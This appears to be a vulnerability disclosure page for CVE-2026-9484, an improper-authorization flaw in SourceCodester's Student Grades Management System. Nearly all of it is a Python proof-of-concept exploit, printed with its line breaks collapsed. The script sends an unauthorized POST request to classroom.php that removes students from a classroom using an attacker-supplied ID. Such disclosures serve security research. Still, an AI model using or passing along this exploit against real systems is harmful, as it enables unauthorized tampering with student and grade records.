CVE-2026-9484 SourceCodester学生成绩管理系统权限不当漏洞

import requests def exploit(target_url, classroom_id): """ PoC for CVE-2026-9484: Improper Authorization in Student Grades Management System """ # Target endpoint based on the vulnerable file and function url = f"{target_url}/classroom.php" # Payload data manipulating the classroom_id payload = { "action": "removeStudentFromClassroom", "classroom_id": classroom_id # Attacker controlled parameter } try: # Sending the request to trigger the vulnerability response = requests.post(url, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check if the student was removed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://127.0.0.1/sgms" target_id = "1" # ID to manipulate exploit(target, target_id)